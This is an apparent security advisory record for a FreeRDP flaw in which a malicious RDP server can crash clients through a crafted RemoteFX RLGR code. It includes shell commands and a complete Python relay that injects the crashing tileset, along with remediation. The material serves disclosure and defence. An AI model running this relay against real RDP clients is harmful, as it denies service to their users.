FreeRDP RemoteFX decoding lets a server terminate the client
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- Required
- Attack complexity
- Low
- Impact type
- Denial of service
- Confidentiality · integrity · availability
- None · None · High
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-5j39-x36c-x9pm. Fix status from GitHub. Impact type from CWE-704 and the CVSS impact.
Summary
FreeRDP versions from 3.11.0 through 3.32.1 are affected. The RemoteFX RLGR decoder in rfx_rlgr_decode performs a signed narrowing conversion to int16_t that fails on an out-of-range value (CWE-704). A malicious RDP server can send a crafted RemoteFX tile that makes a client built with assertions enabled abort, which denies service to that client process. The victim must connect to the attacker's server with RemoteFX surface decoding enabled.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
### Summary A FreeRDP client can be terminated by a malicious RDP server when the client connects with RemoteFX surface decoding enabled and the server sends a RemoteFX RLGR code of 32767. The server controls the compressed tile data. In the tested assert-enabled FreeRDP 3.32.1-dev0 client, the full RemoteFX tileset reached `rfx_rlgr_decode` and aborted at the checked conversion from `code + 1` to `int16_t` (`libfreerdp/codec/rfx_rlgr.c`, `rfx_rlgr_decode`, line 357). The resulting impact is denial of service to that client process. The run did not demonstrate memory corruption, confidentiality impact, integrity impact, or effects on other processes. ### Details The failure is build-dependent. FreeRDP's `WITH_VERBOSE_WINPR_ASSERT` option defaults to ON in the inspected 3.32.1 CMake configuration, while some project presets and downstream builds turn it off. With the option disabled, the conversion does not assert. In the retained paired run, the client with assertions disabled stayed active until the test's four-second timeout (exit 124); the assert-enabled client aborted (exit 134). These runs establish the result for those configurations, not how often distributions ship either configuration. The attack requires a victim to connect to a server under the attacker's control and have RemoteFX surface decoding enabled in the client. The test uses `/sec:rdp` to keep its local server path simple; this does not make RDP security a vulnerability prerequisite. `SECURITY.md` lists stable 3.x and master as supported and 2.x as unsupported. I traced the checked conversion to the 3.11.0 release; inspected 3.x release snapshots through 3.32.1 retain it. No fixing change was found. This is distinct from other RemoteFX abort candidates: the decisive sink here is the signed narrowing assertion in `rfx_rlgr_decode`, not the differential decoder assertion or surface-coordinate check. ### Proof of concept Run only in an isolated disposable environment with a local graphical session for the shadow server. The server disables authentication for this loopback-only test. The server and relay bind to test ports; do not expose the unauthenticated shadow server to an untrusted network. The test can terminate the client when assertions are enabled. It does not modify server data. Start the FreeRDP shadow server in a terminal in the graphical session: ```sh freerdp-shadow-cli /bind-address:127.0.0.1 /port:38328 -auth -gfx +rfx /sec:rdp ``` Save the following complete relay as `rfx049-relay.py` and run it in another terminal: ```sh python3 rfx049-relay.py ``` Then connect the assert-enabled FreeRDP client in a third terminal. Use an isolated disposable client process: ```sh xfreerdp /v:127.0.0.1:38329 /sec:rdp +rfx -gfx /u:mallory /p:unused ``` The relay forwards the server's ordinary RDP traffic and injects one fast-path `SURFCMDS` surface-bits update containing a complete RemoteFX tileset. Its RLGR bitstream emits code 32767. The supplied run record shows `rfx_rlgr_decode:357`, `Caught signal 'Aborted' [6]`, and client exit 134. The corresponding no-assert build stayed live until the harness timeout and returned 124; that is a timeout result, not a normal client exit result. ```python #!/usr/bin/env python3 """Loopback relay that injects the CAND-000049 RemoteFX RLGR input.""" import socket import struct import threading import time LISTEN = 38329 UPSTREAM = 38328 def u16(value): return struct.pack("<H", value) def u32(value): return struct.pack("<I", value) def block(kind, data): return u16(kind) + u32(6 + len(data)) + data def rlgr_code_32767(): # The first three bits enter RLGR run mode and select a run of zero. # The following 16383 one bits produce the RLGR code 32767. bits = [1, 0, 1] + [1] * 16383 + [0, 1] out = bytearray((len(bits) + 7) // 8) for i, value in enumerate(bits): if value: out[i // 8] |= 0x80 >> (i % 8) return bytes(out) def rfx_tileset(): y = rlgr_code_32767() tile = block( 0xCAC3, b"\x00\x00\x00" + u16(0) + u16(0) + u16(len(y)) + u16(0) + u16(0) + y, ) tileset = block( 0xCCC7, b"\x01\x00" + u16(0xCAC2) + u16(0) + u16(0) + b"\x01\x40" + u16(1) + u32(len(tile)) + b"\x00" * 5 + tile, ) return b"".join(( block(0xCCC0, u32(0xCACCACCA) + u16(0x0100)), block(0xCCC1, b"\x01\x01" + u16(0x0100)), block(0xCCC2, b"\x01\x00" + u16(1024) + u16(768)), block(0xCCC3, b"\x01\xff\x00" + u16(0x0040) + u16(0x0200)), block(0xCCC4, b"\x01\x00" + u32(1) + u16(1)), block(0xCCC6, b"\x01\x00\x10" + u16(1) + u16(0) + u16(0) + u16(64) + u16(64) + u16(0xCAC1) + u16(1)), tileset, )) def make_packet(): rfx = rfx_tileset() cmd = (u16(0x0006) + u16(1) + u16(0) + u16(65) + u16(64) + bytes((32, 0, 0, 3)) + u16(64) + u16(64) + u32(len(rfx)) + rfx) update = bytes((4,)) + u16(len(cmd)) + cmd length = 3 + len(update) assert length < 16384 return bytes((0, 0x80 | (length >> 8), length & 255)) + update def frame_length(buf): if buf[0] == 3: if len(buf) < 4: return None return int.from_bytes(buf[2:4], "big") if len(buf) < 2: return None if buf[1] & 0x80: if len(buf) < 3: return None return ((buf[1] & 0x7f) << 8) | buf[2] return buf[1] def main(): payload = make_packet() listener = socket.socket() listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) listener.bind(("127.0.0.1", LISTEN)) listener.listen(1) print(f"Listening on 127.0.0.1:{LISTEN}; injected payload is {len(payload)} bytes", flush=True) client, address = listener.accept() server = socket.create_connection(("127.0.0.1", UPSTREAM)) print(f"Accepted client {address}; forwarding to 127.0.0.1:{UPSTREAM}", flush=True) def client_to_server(): while data := client.recv(65536): server.sendall(data) try: server.shutdown(socket.SHUT_WR) except OSError: pass def server_to_client(): buf = b"" injected = False while data := server.recv(65536): buf += data while len(buf) >= 2: length = frame_length(buf) if length is None or length < 2 or len(buf) < length: break frame, buf = buf[:length], buf[length:] client.sendall(frame) if (not injected and ((frame[0] == 3 and length > 500 and frame[10:12] == b"\x03\xef") or (frame[0] != 3 and length > 500))): time.sleep(0.15) client.sendall(payload) injected = True print(f"Injected CAND-000049 RemoteFX tileset ({len(payload)} bytes)", flush=True) print(f"Server stream closed; injected={injected}", flush=True) c2s = threading.Thread(target=client_to_server) s2c = threading.Thread(target=server_to_client) c2s.start() s2c.start() c2s.join() s2c.join() if __name__ == "__main__": main() ``` ### Impact The resulting impact is denial of service to that client process. The run did not demonstrate memory corruption, confidentiality impact, integrity impact, or effects on other processes. ### Remediation Treat an out-of-range value from the peer as invalid input and return a decoder error instead of relying on a process-terminating assertion. Before storing the decoded magnitude in `INT16`, reject a `code` whose `code + 1` cannot be represented, and ensure both RLGR1 and RLGR3 decode paths handle it consistently. Add a regression test for a RemoteFX tileset carrying RLGR code 32767, plus valid values at the representable boundary, through the client receive path. No fix or fixed release has been verified.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c/c++) | >= 3.11.0, <= 3.32.1 | 3.32.2 | Patch available | GHSA-5j39-x36c-x9pm |
- FreeRDP (c/c++) Vendor— Affected >= 3.11.0, <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-5j39-x36c-x9pm
Remediation
Upgrade FreeRDP to version 3.32.2, which is listed as the fixed version.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-5j39-x36c-x9pm FreeRDP (c/c++) Fixed in 3.32.2 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-5j39-x36c-x9pm
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences